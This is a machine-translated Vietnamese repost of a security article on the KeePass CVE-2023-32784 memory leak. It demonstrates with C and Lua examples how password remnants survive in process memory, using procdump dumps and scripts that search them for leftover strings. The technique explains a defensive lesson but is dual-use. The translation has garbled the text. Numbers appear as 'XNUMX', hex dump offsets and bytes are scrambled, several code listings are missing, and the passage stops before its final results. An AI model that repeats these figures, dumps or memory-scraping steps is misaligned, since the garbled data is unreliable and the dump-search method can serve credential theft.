Logo Zephyrnet

Bảo mật nghiêm túc: “Bẻ khóa mật khẩu chính” KeePass đó và những gì chúng ta có thể học được từ nó

Ngày:

Trong hai tuần qua, chúng tôi đã thấy một loạt bài viết đề cập đến thứ được mô tả là “bẻ khóa mật khẩu chính” trong trình quản lý mật khẩu mã nguồn mở phổ biến KeePass.

Lỗi này được coi là đủ nghiêm trọng để có được mã định danh chính thức của chính phủ Hoa Kỳ (nó được gọi là CVE-2023-32784, nếu bạn muốn tìm kiếm nó), và cho rằng mật khẩu chính cho trình quản lý mật khẩu của bạn gần như là chìa khóa cho toàn bộ lâu đài kỹ thuật số của bạn, bạn có thể hiểu tại sao câu chuyện lại gây ra nhiều hứng thú.

Tin tốt là kẻ tấn công muốn khai thác lỗi này gần như chắc chắn cần phải lây nhiễm phần mềm độc hại vào máy tính của bạn và do đó sẽ có thể theo dõi thao tác gõ phím và các chương trình đang chạy của bạn.

Nói cách khác, lỗi này có thể được coi là một rủi ro dễ quản lý cho đến khi người tạo ra KeePass đưa ra bản cập nhật, bản cập nhật này sẽ sớm xuất hiện (có vẻ như vào đầu tháng 2023 năm XNUMX).

Khi người tiết lộ lỗi quan tâm đến chỉ ra:

Nếu bạn sử dụng mã hóa toàn bộ ổ đĩa bằng một mật khẩu mạnh và hệ thống của bạn [không có phần mềm độc hại] thì bạn sẽ ổn thôi. Không ai có thể đánh cắp mật khẩu của bạn từ xa qua internet chỉ với phát hiện này.

Những rủi ro được giải thích

Tóm lại, lỗi bắt nguồn từ khó khăn trong việc đảm bảo rằng tất cả dấu vết của dữ liệu bí mật sẽ bị xóa khỏi bộ nhớ sau khi bạn hoàn thành chúng.

Ở đây chúng ta sẽ bỏ qua vấn đề làm thế nào để tránh có dữ liệu bí mật trong bộ nhớ, dù chỉ trong thời gian ngắn.

Trong bài viết này, chúng tôi chỉ muốn nhắc nhở các lập trình viên ở khắp mọi nơi rằng mã đã được phê duyệt bởi người đánh giá có ý thức bảo mật với một nhận xét chẳng hạn như “dường như tự dọn sạch một cách chính xác”…

…trên thực tế có thể không được dọn sạch hoàn toàn và khả năng rò rỉ dữ liệu có thể không rõ ràng khi nghiên cứu trực tiếp về chính mã đó.

Nói một cách đơn giản, lỗ hổng CVE-2023-32784 có nghĩa là mật khẩu chính KeePass có thể được khôi phục từ dữ liệu hệ thống ngay cả sau khi chương trình KeyPass đã thoát, vì có đủ thông tin về mật khẩu của bạn (mặc dù thực tế không phải là mật khẩu thô mà chúng tôi sẽ tập trung vào bật trong giây lát) có thể bị bỏ lại trong các tệp hoán đổi hệ thống hoặc ngủ, trong đó bộ nhớ hệ thống được phân bổ có thể được lưu lại sau này.

Trên máy tính Windows mà BitLocker không được sử dụng để mã hóa đĩa cứng khi hệ thống bị tắt, điều này sẽ tạo cơ hội cho kẻ gian lấy trộm máy tính xách tay của bạn có cơ hội khởi động từ ổ đĩa USB hoặc CD và thậm chí khôi phục mật khẩu chính của bạn mặc dù bản thân chương trình KeyPass không bao giờ lưu nó vĩnh viễn vào đĩa.

Rò rỉ mật khẩu dài hạn trong bộ nhớ cũng có nghĩa là về mặt lý thuyết, mật khẩu có thể được khôi phục từ kết xuất bộ nhớ của chương trình KeyPass, ngay cả khi kết xuất đó bị lấy rất lâu sau khi bạn nhập mật khẩu và rất lâu sau KeePass bản thân nó không cần phải giữ nó xung quanh nữa.

Rõ ràng, bạn nên cho rằng phần mềm độc hại đã có trên hệ thống của bạn có thể khôi phục hầu hết mọi mật khẩu đã nhập thông qua nhiều kỹ thuật rình mò thời gian thực, miễn là chúng đang hoạt động tại thời điểm bạn nhập. Nhưng bạn có thể mong đợi một cách hợp lý rằng thời gian bạn gặp nguy hiểm sẽ bị giới hạn trong khoảng thời gian ngắn khi đánh máy, không kéo dài nhiều phút, nhiều giờ hoặc nhiều ngày sau đó, hoặc có thể lâu hơn, kể cả sau khi bạn tắt máy tính.

Những gì được để lại phía sau?

Do đó, chúng tôi nghĩ rằng chúng tôi sẽ xem xét kỹ lưỡng cách dữ liệu bí mật có thể bị bỏ lại trong bộ nhớ theo những cách mà mã không trực tiếp thấy rõ.

Đừng lo lắng nếu bạn không phải là lập trình viên – chúng tôi sẽ làm cho nó đơn giản và giải thích khi chúng tôi bắt đầu.

Chúng ta sẽ bắt đầu bằng cách xem xét việc sử dụng và dọn dẹp bộ nhớ trong một chương trình C đơn giản mô phỏng việc nhập và lưu trữ tạm thời một mật khẩu bằng cách thực hiện như sau:

  • Phân bổ một đoạn bộ nhớ chuyên dụng đặc biệt để lưu trữ mật khẩu.
  • Chèn một chuỗi văn bản đã biết để chúng ta có thể dễ dàng tìm lại trong bộ nhớ nếu cần.
  • Nối thêm 16 ký tự ASCII 8 bit giả ngẫu nhiên từ phạm vi AP.
  • In ra bộ đệm mật khẩu mô phỏng.
  • Giải phóng bộ nhớ với hy vọng xóa bộ đệm mật khẩu.
  • Thoát chương trình.

Được đơn giản hóa rất nhiều, mã C có thể trông giống như thế này, không kiểm tra lỗi, sử dụng các số giả ngẫu nhiên chất lượng kém từ hàm thời gian chạy C rand()và bỏ qua mọi kiểm tra lỗi tràn bộ đệm (không bao giờ thực hiện bất kỳ thao tác nào trong số này trong mã thực!):

 // Ask for memory char* buff = malloc(128); // Copy in fixed string we can recognise in RAM strcpy(buff,"unlikelytext"); // Append 16 pseudo-random ASCII characters for (int i = 1; i <= 16; i++) { // Choose a letter from A (65+0) to P (65+15) char ch = 65 + (rand() & 15); // Modify the buff string directly in memory strncat(buff,&ch,1); } // Print it out, so we're done with buff printf("Full string was: %sn",buff); // Return the unwanted buffer and hope that expunges it free(buff);

Trên thực tế, mã cuối cùng chúng tôi đã sử dụng trong các thử nghiệm của mình bao gồm một số bit và phần bổ sung được hiển thị bên dưới, để chúng tôi có thể kết xuất toàn bộ nội dung của bộ đệm mật khẩu tạm thời khi chúng tôi sử dụng nó, để tìm kiếm nội dung không mong muốn hoặc còn sót lại.

Lưu ý rằng chúng tôi cố tình kết xuất bộ đệm sau khi gọi free(), về mặt kỹ thuật, đây là một lỗi sử dụng sau khi sử dụng miễn phí, nhưng chúng tôi đang thực hiện nó ở đây như một cách lén lút để xem liệu có thứ gì quan trọng bị bỏ lại sau khi trả lại bộ đệm của chúng tôi hay không, điều này có thể dẫn đến một lỗ hổng rò rỉ dữ liệu nguy hiểm trong đời thực.

Chúng tôi cũng đã chèn hai Waiting for [Enter] lời nhắc vào mã để cho chúng tôi cơ hội tạo kết xuất bộ nhớ tại các điểm chính trong chương trình, cung cấp cho chúng tôi dữ liệu thô để tìm kiếm sau này, nhằm xem những gì còn lại khi chương trình chạy.

Để thực hiện kết xuất bộ nhớ, chúng tôi sẽ sử dụng Microsoft công cụ hệ thống procdump với -ma Lựa chọn (kết xuất tất cả bộ nhớ), giúp tránh phải viết mã của riêng chúng tôi để sử dụng Windows DbgHelp hệ thống và nó khá phức tạp MiniDumpXxxx() chức năng.

Để biên dịch mã C, chúng tôi đã sử dụng bản dựng mã nguồn mở và miễn phí của Fabrice Bellard. Trình biên dịch C nhỏ, có sẵn cho Windows 64-bit trong nguồn và dạng nhị phân trực tiếp từ trang GitHub của chúng tôi.

Văn bản có thể sao chép và dán được của tất cả mã nguồn trong bài viết xuất hiện ở cuối trang.

Đây là những gì đã xảy ra khi chúng tôi biên dịch và chạy chương trình thử nghiệm:

C:UsersduckKEYPASS> petcc64 -stdinc -stdlib unl1.c Trình biên dịch Tiny C - Bản quyền (C) 2001-2023 Fabrice Bellard Bị Paul Ducklin loại bỏ để sử dụng làm công cụ học tập Phiên bản petcc64-0.9.27 [0006] - Tạo 64-bit Chỉ Chuyên gia sản phẩm -> unl1.c -> c:/users/duck/tcc/petccinc/stdio.h [. . . .] -> c:/users/duck/tcc/petcclib/libpetcc1_64.a -> C:/Windows/system32/msvcrt.dll -> C:/Windows/system32/kernel32.dll -------- ----------------------- phần kích thước tệp virt 1000 200 438 .text 2000 800 2ac .data 3000 c00 24 .pdata -------- ----------------------- <- unl1.exe (3584 byte) C:UsersduckKEYPASS> unl1.exe Kết xuất bộ đệm 'mới' khi bắt đầu 00F51390: 90 57 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .W......P....... 00F513A0: 73 74 65 6D 33 32 5C 63 6D 64 2E 65 78 65 00 44 thân32cmd. exe.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513 0F42: 52 4 57F 53 45 52 5 41F 50 50 5 50F 52 4 46F 00 BROWSER_APP_PROF 51400F49: 4 45C 5 53F 54 52 49 4 47E 3 49D 6 74E 65 72 00 ILE_STRING=Liên 51410F6: 65E 74 20 45 78 70 6 7 56C 4A 3 F4 00C AC 00B 00 51390 net ExplzV.< .K.. Chuỗi đầy đủ là: không chắc văn bảnJHKNEJJCPOMDJHAN 75F6: 6 69E 6C 65 6B 79 74C 65 78 74 4 48 4A 4 00B 513E không chắc văn bảnJHKN 0F45A4: 4 43A 50A 4 4 44F 4D 48 41A 4 00 65E 00 44 00 513 EJJCPOMDJHAN.eD 0F72B69 : 76 65 72 44 61 74 61 3 43 3D 5 57A 69C 6 00 513E riverData=C:Win 0F64C6: 77 73F 5 53 79C 73 74 65 6 33 32D 5 44 72C 32 00 dowsSystem513Dr 0F69D76: 65 72 73 5 44 72C 69 76 65 72 44 61 74 61 00 513 iversDriverData 0F00E45: 46 43 5 34 33F 37 32 3 31 00D 46 50 53 5 4372 1F .EFC_00=513.FPS_ 0F42F52: 4 57 53F 45 52 5 41 50F 50 5 50 52F 4 46 00F 51400 BROWSER_APP_PROF 49F4: 45 5C 53 54F 52 49 4 47 3E 49 6D 74 65E 72 00 51410 ILE_STRING=Liên 6F65: 74E 20 45 78 70 6 7 56C 4A 3 F4 00C AC 00B 00 51390 ròng ExplzV.<.K.. Đang chờ [ENTER] để giải phóng bộ đệm... Kết xuất bộ đệm sau free() 0F67: A5 00 F00 00 00 00 50 01 5 00 F00 00 00 00 00 513 .g......P...... .0F45A4: 4 43A 50A 4 4 44F 4D 48 41A 4 00 65E 00 44 00 513 EJJCPOMDJHAN.eD 0F72B69: 76 65 72 44 61 74 61 3 43 3D 5 57A 69C 6 00 513E riverData=C:Win 0F64C6: 77 73F 5 53 79C 73 74 65 6 33 32D 5 44 72C 32 00 dowsSystem513Dr 0F69D76: 65 72 73 5 44 72C 69 76 65 72 44 61 74 61 00 513 iversDriverData 0F00E45: 46 43 5 34 33 37F 32 3 31 00 46D 50 53 5 4372 1 00F .EFC_513=0.FPS_ 42F52F4: 57 53 45F 52 5 41 50 50F 5 50 52 4F 46 00 51400F 49 BROWSER_APP_PROF 4F45: 5 53C 54 52F 49 4 47 3 49E 6 74D 65 72E 00 51410 6 ILE_STRING=Liên 65F74: 20E 45 78 70 6 4 00 00C 4D 4 00 00D AC XNUMXB XNUMX XNUMX net ExplM..MK. Đang chờ [ENTER] để thoát main()... C:UsersduckKEYPASS>

Trong lần chạy này, chúng tôi không bận tâm đến việc lấy bất kỳ kết xuất bộ nhớ tiến trình nào, bởi vì chúng tôi có thể thấy ngay từ đầu ra rằng mã này làm rò rỉ dữ liệu.

Ngay sau khi gọi chức năng thư viện thời gian chạy Windows C malloc(), chúng ta có thể thấy rằng bộ đệm mà chúng ta lấy lại bao gồm dữ liệu giống như biến môi trường còn sót lại từ mã khởi động của chương trình, với 16 byte đầu tiên rõ ràng đã được thay đổi để trông giống như một số loại tiêu đề cấp phát bộ nhớ còn sót lại.

(Lưu ý cách 16 byte đó trông giống như hai địa chỉ bộ nhớ 8 byte, 0xF557900xF50150, đó là ngay sau và ngay trước bộ đệm bộ nhớ riêng của chúng tôi.)

Khi mật khẩu được cho là nằm trong bộ nhớ, chúng ta có thể thấy toàn bộ chuỗi rõ ràng trong bộ đệm, như chúng ta mong đợi.

Nhưng sau khi gọi free(), hãy lưu ý cách 16 byte đầu tiên của bộ đệm của chúng ta đã được viết lại một lần nữa với địa chỉ giống như địa chỉ bộ nhớ lân cận, có lẽ để bộ cấp phát bộ nhớ có thể theo dõi các khối trong bộ nhớ mà nó có thể sử dụng lại…

… nhưng phần còn lại của văn bản mật khẩu “đã bị xóa” của chúng tôi (12 ký tự ngẫu nhiên cuối cùng EJJCPOMDJHAN) đã bị bỏ lại phía sau.

Chúng ta không chỉ cần quản lý việc phân bổ và hủy phân bổ bộ nhớ của riêng mình trong C, chúng ta còn cần đảm bảo rằng chúng ta chọn các chức năng hệ thống phù hợp cho bộ đệm dữ liệu nếu chúng ta muốn kiểm soát chúng một cách chính xác.

Ví dụ: thay vào đó, bằng cách chuyển sang mã này, chúng tôi sẽ kiểm soát nhiều hơn một chút đối với nội dung trong bộ nhớ:

Bằng cách chuyển đổi từ malloc()free() để sử dụng các chức năng phân bổ Windows cấp thấp hơn VirtualAlloc()VirtualFree() trực tiếp, chúng tôi kiểm soát tốt hơn.

Tuy nhiên, chúng tôi phải trả giá về tốc độ, bởi vì mỗi cuộc gọi đến VirtualAlloc() thực hiện nhiều công việc hơn mà một cuộc gọi đến malloc(), hoạt động bằng cách liên tục chia và chia nhỏ một khối bộ nhớ cấp thấp được phân bổ trước.

Sử dụng VirtualAlloc() lặp đi lặp lại cho các khối nhỏ cũng sử dụng nhiều bộ nhớ hơn, bởi vì mỗi khối được loại bỏ bởi VirtualAlloc() thường tiêu tốn bội số của 4KB bộ nhớ (hoặc 2MB, nếu bạn đang sử dụng cái gọi là trang bộ nhớ lớn), do đó bộ đệm 128 byte ở trên của chúng tôi được làm tròn lên tới 4096 byte, làm lãng phí 3968 byte ở cuối khối bộ nhớ 4KB.

Tuy nhiên, như bạn có thể thấy, bộ nhớ mà chúng tôi lấy lại sẽ tự động bị xóa (đặt thành XNUMX), vì vậy chúng tôi không thể thấy những gì đã có trước đó và lần này chương trình gặp sự cố khi chúng tôi cố gắng sử dụng sau khi rảnh thủ thuật, bởi vì Windows phát hiện ra rằng chúng tôi đang cố xem bộ nhớ mà chúng tôi không còn sở hữu nữa:

C:UsersduckKEYPASS> unl2 Kết xuất bộ đệm 'mới' khi bắt đầu 0000000000EA0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. .............. 0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............................ 0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................................ 0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Chuỗi đầy đủ là: không chắc văn bảnIBIPJPPHEOPOIDLL 0000000000EA0000: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 49 42 49 50 không chắc văn bảnIBIP 0000000000EA0010: 4A 50 50 48 45 4 50F 4 49F 44 4 4C 00C 00 00 00 0000000000 JPPHEOPOIDLL .... 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ : 0000000000 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00EA00: 0000000000 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00EA00: 0000000000 0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............... . 00EA00: 0000000000 0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00EA00: 0000000000 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00EA00: 0000000000 0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............. ... Đang chờ [ENTER] để giải phóng bộ đệm... Kết xuất bộ đệm sau khi miễn phí() 00EA00: [Chương trình bị chấm dứt tại đây do Windows bắt chúng tôi sử dụng sau khi miễn phí]

Bởi vì bộ nhớ mà chúng tôi đã giải phóng sẽ cần được phân bổ lại với VirtualAlloc() trước khi nó có thể được sử dụng lại, chúng ta có thể cho rằng nó sẽ bị loại bỏ trước khi nó được tái chế.

Tuy nhiên, nếu chúng tôi muốn đảm bảo rằng nó được xóa trắng, chúng tôi có thể gọi chức năng đặc biệt của Windows RtlSecureZeroMemory() ngay trước khi giải phóng nó, để đảm bảo rằng Windows sẽ ghi các số XNUMX vào bộ đệm của chúng ta trước.

Các chức năng liên quan RtlZeroMemory(), nếu bạn đang thắc mắc, sẽ thực hiện một điều tương tự, nhưng không đảm bảo thực sự hoạt động, bởi vì trình biên dịch được phép loại bỏ nó vì lý thuyết thừa nếu họ nhận thấy rằng bộ đệm không được sử dụng lại sau đó.

Như bạn có thể thấy, chúng ta cần hết sức cẩn thận để sử dụng các chức năng phù hợp của Windows nếu chúng ta muốn giảm thiểu thời gian mà các bí mật được lưu trữ trong bộ nhớ có thể tồn tại sau này.

Trong bài viết này, chúng ta sẽ không xem xét cách bạn ngăn chặn các bí mật vô tình bị lưu vào tệp hoán đổi của mình bằng cách khóa chúng vào RAM vật lý. (Gợi ý: VirtualLock() Nếu bạn muốn biết thêm về bảo mật bộ nhớ cấp thấp của Windows, hãy cho chúng tôi biết trong phần nhận xét và chúng tôi sẽ xem xét vấn đề này trong một bài viết sau.

Sử dụng quản lý bộ nhớ tự động

Một cách gọn gàng để tránh phải tự phân bổ, quản lý và phân bổ bộ nhớ là sử dụng một ngôn ngữ lập trình xử lý malloc()free(), hoặc là VirtualAlloc()VirtualFree(), tự động.

Ngôn ngữ kịch bản như Perl, Python, lấy, JavaScript và những người khác loại bỏ các lỗi bảo vệ bộ nhớ phổ biến nhất gây hại cho mã C và C++, bằng cách theo dõi việc sử dụng bộ nhớ cho bạn trong nền.

Như chúng tôi đã đề cập trước đó, mã C mẫu được viết dở của chúng tôi ở trên hiện hoạt động tốt, nhưng chỉ vì nó vẫn là một chương trình cực kỳ đơn giản, với cấu trúc dữ liệu có kích thước cố định, nơi chúng tôi có thể xác minh bằng cách kiểm tra rằng chúng tôi sẽ không ghi đè lên 128- bộ đệm byte và chỉ có một đường dẫn thực thi bắt đầu bằng malloc() và kết thúc với một tương ứng free().

Nhưng nếu chúng tôi cập nhật nó để cho phép tạo mật khẩu có độ dài thay đổi hoặc thêm các tính năng bổ sung vào quy trình tạo, thì chúng tôi (hoặc bất kỳ ai duy trì mã tiếp theo) có thể dễ dàng gặp lỗi tràn bộ đệm, lỗi sử dụng sau khi sử dụng miễn phí hoặc lỗi bộ nhớ không bao giờ được giải phóng và do đó để lại dữ liệu bí mật tồn tại rất lâu sau khi nó không còn cần thiết nữa.

Trong một ngôn ngữ như Lua, chúng ta có thể để môi trường thời gian chạy Lua, môi trường này thực hiện những gì được biết đến trong biệt ngữ là thu gom rác tự động, xử lý việc lấy bộ nhớ từ hệ thống và trả lại bộ nhớ khi hệ thống phát hiện chúng tôi đã ngừng sử dụng bộ nhớ đó.

Chương trình C mà chúng tôi liệt kê ở trên trở nên đơn giản hơn rất nhiều khi việc cấp phát và hủy cấp phát bộ nhớ được thực hiện cho chúng tôi:

Chúng tôi phân bổ bộ nhớ để giữ chuỗi s chỉ đơn giản bằng cách gán chuỗi 'unlikelytext' với nó.

Sau đó, chúng ta có thể gợi ý rõ ràng cho Lua rằng chúng ta không còn quan tâm đến s bằng cách gán cho nó giá trị nil (tất cả các nils về cơ bản là cùng một đối tượng Lua) hoặc ngừng sử dụng s và đợi Lua phát hiện ra rằng nó không còn cần thiết nữa.

Dù bằng cách nào, bộ nhớ được sử dụng bởi s cuối cùng sẽ được phục hồi tự động.

Và để tránh tràn bộ đệm hoặc quản lý sai kích thước khi thêm vào chuỗi văn bản (toán tử Lua .., phát âm concat, về cơ bản thêm hai chuỗi với nhau, như + trong Python), mỗi khi chúng ta kéo dài hoặc rút ngắn một chuỗi, Lua sẽ phân bổ không gian một cách kỳ diệu cho một chuỗi hoàn toàn mới, thay vì sửa đổi hoặc thay thế chuỗi gốc trong vị trí bộ nhớ hiện có của nó.

Cách tiếp cận này chậm hơn và dẫn đến mức sử dụng bộ nhớ cao nhất so với mức bạn nhận được trong C do các chuỗi trung gian được phân bổ trong quá trình thao tác văn bản, nhưng sẽ an toàn hơn nhiều đối với lỗi tràn bộ đệm.

Nhưng kiểu quản lý chuỗi tự động này (được biết đến trong biệt ngữ là bất biến, bởi vì chuỗi không bao giờ nhận được đột biến, hoặc được sửa đổi tại chỗ, sau khi chúng được tạo), sẽ gây ra những vấn đề đau đầu mới về an ninh mạng.

Chúng tôi đã chạy chương trình Lua ở trên trên Windows, cho đến lần tạm dừng thứ hai, ngay trước khi chương trình thoát:

C:UsersduckKEYPASS> lua s1.lua Chuỗi đầy đủ là: không chắctextHLKONBOJILAGNLLN Đang đợi [ENTER] trước khi giải phóng chuỗi... Đang đợi [ENTER] trước khi thoát...

Lần này, chúng tôi đã thực hiện kết xuất bộ nhớ tiến trình, như sau:

C:UsersduckKEYPASS> procdump -ma lua lua-s1.dmp ProcDump v11.0 - Tiện ích kết xuất quy trình Sysiternals Bản quyền (C) 2009-2022 Mark Russinovich và Andrew Richards Sysiternals - www.sysinternals.com [00:00:00] Dump 1 bắt đầu: C:UsersduckKEYPASSlua-s1.dmp [00:00:00] Kết xuất 1 viết: Kích thước tệp kết xuất ước tính là 10 MB. [00:00:00] Hoàn thành kết xuất 1: 10 MB được ghi trong 0.1 giây [00:00:01] Đã đạt đến số lượng kết xuất.

Sau đó, chúng tôi chạy tập lệnh đơn giản này, đọc lại tệp kết xuất, tìm mọi nơi trong bộ nhớ rằng chuỗi đã biết unlikelytext xuất hiện và in nó ra, cùng với vị trí của nó trong tệp kết xuất và các ký tự ASCII ngay sau đó:

Ngay cả khi bạn đã sử dụng ngôn ngữ tập lệnh trước đây hoặc làm việc trong bất kỳ hệ sinh thái lập trình nào có tính năng được gọi là chuỗi được quản lý, trong đó hệ thống theo dõi việc phân bổ và hủy phân bổ bộ nhớ cho bạn, đồng thời xử lý chúng khi hệ thống thấy phù hợp…

…bạn có thể ngạc nhiên khi thấy kết quả mà quá trình quét bộ nhớ này tạo ra:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp 006D8AFC: không chắc văn bảnALJBNGOAPLLBDEB 006D8B3C: không chắc văn bảnALJBNGOA 006D8B7C: không chắc văn bảnALJBNGO 006D8BFC: không chắc văn bảnALJBNGOAPLLBDEBJ 006D8CBC: không chắc văn bảnALJBN 006D8D7C: không chắc văn bản ALJBNGOAP 006D903C: văn bản không chắc chắnALJBNGOAPL 006D90BC: văn bản không chắc chắnALJBNGOAPLL 006D90FC: văn bản không chắc chắnALJBNG 006D913C: văn bản không chắc chắnALJBNGOAPLLB 006D91BC: văn bản không chắc chắnALJB 006D91FC: văn bản không chắc chắnALJBNGOAPLLBD 006D923C : không chắc văn bảnALJBNGOAPLLBDE 006DB70C: không chắc văn bảnALJ 006DBB8C: không chắc văn bảnAL 006DBD0C: không chắc văn bảnA

Kì lạ thay, vào thời điểm chúng tôi lấy kết xuất bộ nhớ của mình, mặc dù chúng tôi đã hoàn thành chuỗi s (và nói với Lua rằng chúng ta không cần nó nữa bằng cách nói s = nil), tất cả các chuỗi mà mã đã tạo trong quá trình vẫn còn trong RAM, chưa được khôi phục hoặc xóa.

Thật vậy, nếu chúng ta sắp xếp đầu ra ở trên theo chính các chuỗi, thay vì theo thứ tự chúng xuất hiện trong RAM, thì bạn sẽ có thể hình dung điều gì đã xảy ra trong vòng lặp nơi chúng ta nối từng ký tự một với chuỗi mật khẩu của mình:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp | sắp xếp /+10 006DBD0C: không chắc văn bản A 006DBB8C: không chắc văn bảnAL 006DB70C: không chắc văn bảnALJ 006D91BC: không chắc văn bảnALJB 006D8CBC: không chắc văn bảnALJBN 006D90FC: không chắc văn bảnALJBNG 006D8B7C: không chắc văn bảnALJBNGO 006D8B3C: không chắc văn bảnALJBNGOA 006D8D 7C: văn bản không chắc chắnALJBNGOAP 006D903C: văn bản không chắc chắnALJBNGOAPL 006D90BC: văn bản không chắc chắnALJBNGOAPLL 006D913C: văn bản không chắc chắnALJBNGOAPLLB 006D91FC: văn bản không chắc chắnALJBNGOAPLLBD 006D923C: văn bản không chắc chắnALJBNGOAPLLBDE 006D8AFC: văn bản không chắc chắnALJBNGOAPLLBDEB 006D 8BFC : không chắctextALJBNGOAPLLBDEBJ

Tất cả các chuỗi trung gian, tạm thời đó vẫn còn đó, vì vậy ngay cả khi chúng tôi đã xóa thành công giá trị cuối cùng của s, chúng tôi vẫn sẽ rò rỉ mọi thứ ngoại trừ ký tự cuối cùng của nó.

Trên thực tế, trong trường hợp này, ngay cả khi chúng ta cố tình buộc chương trình của mình loại bỏ tất cả dữ liệu không cần thiết bằng cách gọi hàm Lua đặc biệt collectgarbage() (hầu hết các ngôn ngữ kịch bản lệnh đều có thứ gì đó tương tự), dù sao thì hầu hết dữ liệu trong các chuỗi tạm thời phiền phức đó vẫn bị mắc kẹt trong RAM, bởi vì chúng tôi đã biên dịch Lua để thực hiện quản lý bộ nhớ tự động bằng cách sử dụng phiên bản cũ. malloc()free().

Nói cách khác, ngay cả sau khi chính Lua đã lấy lại các khối bộ nhớ tạm thời của nó để sử dụng lại chúng, chúng tôi không thể kiểm soát cách thức hoặc thời điểm các khối bộ nhớ đó sẽ được sử dụng lại, và do đó, chúng sẽ nằm trong quy trình trong bao lâu với các ký tự bên trái của chúng. trên dữ liệu đang chờ bị đánh hơi, đổ hoặc bị rò rỉ.

Nhập .NET

Nhưng còn KeePass, nơi bắt đầu bài viết này thì sao?

KeePass được viết bằng C# và sử dụng thời gian chạy .NET, do đó, nó tránh được các vấn đề về quản lý bộ nhớ kém mà các chương trình C mang lại…

…nhưng C# quản lý các chuỗi văn bản của chính nó, giống như Lua, điều này đặt ra câu hỏi:

Ngay cả khi lập trình viên tránh lưu trữ toàn bộ mật khẩu chính vào một nơi sau khi anh ta hoàn thành nó, thì những kẻ tấn công có quyền truy cập vào kết xuất bộ nhớ vẫn có thể tìm đủ dữ liệu tạm thời còn sót lại để đoán hoặc khôi phục mật khẩu chính, ngay cả khi những những kẻ tấn công có quyền truy cập vào máy tính của bạn vài phút, vài giờ hoặc vài ngày sau khi bạn nhập mật khẩu vào ?

Nói một cách đơn giản, liệu có phần còn lại ma quái, có thể phát hiện được của mật khẩu chính của bạn tồn tại trong RAM, ngay cả sau khi bạn cho rằng chúng đã bị xóa không?

Thật khó chịu, với tư cách là người dùng Github Vdohney khám phá ra, câu trả lời (ít nhất là đối với các phiên bản KeePass sớm hơn 2.54) là “Có”.

Để rõ ràng, chúng tôi không nghĩ rằng mật khẩu chính thực tế của bạn có thể được khôi phục dưới dạng một chuỗi văn bản từ kết xuất bộ nhớ KeePass, bởi vì tác giả đã tạo một chức năng đặc biệt cho mục nhập mật khẩu chính để tránh lưu trữ đầy đủ mật khẩu nơi nó có thể dễ dàng được phát hiện và đánh hơi ra.

Chúng tôi hài lòng với điều này bằng cách đặt mật khẩu chủ của mình thành SIXTEENPASSCHARS, nhập nó vào và sau đó lấy kết xuất bộ nhớ ngay lập tức, ngay và lâu sau đó.

Chúng tôi đã tìm kiếm các bãi chứa bằng một tập lệnh Lua đơn giản để tìm văn bản mật khẩu đó ở mọi nơi, cả ở định dạng ASCII 8 bit và ở định dạng UTF-16 16 bit (Windows widechar), như sau:

Kết quả thật đáng khích lệ:

C:UsersduckKEYPASS> lua searchknown.lua kp2-post.dmp Đang đọc trong tệp kết xuất... ĐÃ XONG. Tìm kiếm SIXTEENPASSCHARS dưới dạng ASCII 8 bit... không tìm thấy. Tìm kiếm SIXTEENPASSCHARS dưới dạng UTF-16... không tìm thấy.

Nhưng Vdohney, người phát hiện ra CVE-2023-32784, nhận thấy rằng khi bạn nhập mật khẩu chính của mình, KeePass cung cấp cho bạn phản hồi trực quan bằng cách xây dựng và hiển thị một chuỗi giữ chỗ bao gồm các ký tự Unicode “blob”, tối đa và bao gồm cả độ dài của bạn. mật khẩu:

Trong các chuỗi văn bản widechar trên Windows (bao gồm hai byte cho mỗi ký tự, không chỉ một byte mỗi ký tự như trong ASCII), ký tự “blob” được mã hóa trong RAM dưới dạng byte hex 0xCF tiếp theo 0x25 (xảy ra là dấu phần trăm trong ASCII).

Vì vậy, ngay cả khi KeePass rất cẩn thận với các ký tự thô mà bạn nhập khi nhập chính mật khẩu, thì bạn vẫn có thể nhận được các chuỗi ký tự “đốm màu” còn sót lại, dễ dàng phát hiện trong bộ nhớ khi chạy lặp lại chẳng hạn như CF25CF25 or CF25CF25CF25...

…và, nếu vậy, dãy ký tự blob dài nhất mà bạn tìm thấy có thể sẽ tiết lộ độ dài mật khẩu của bạn, đây sẽ là một dạng rò rỉ thông tin mật khẩu khiêm tốn, nếu không có gì khác.

Chúng tôi đã sử dụng tập lệnh Lua sau để tìm dấu hiệu của các chuỗi giữ chỗ mật khẩu còn sót lại:

Kết quả thật đáng ngạc nhiên (chúng tôi đã xóa các dòng liên tiếp có cùng số lượng đốm màu hoặc có ít đốm màu hơn dòng trước để tiết kiệm dung lượng):

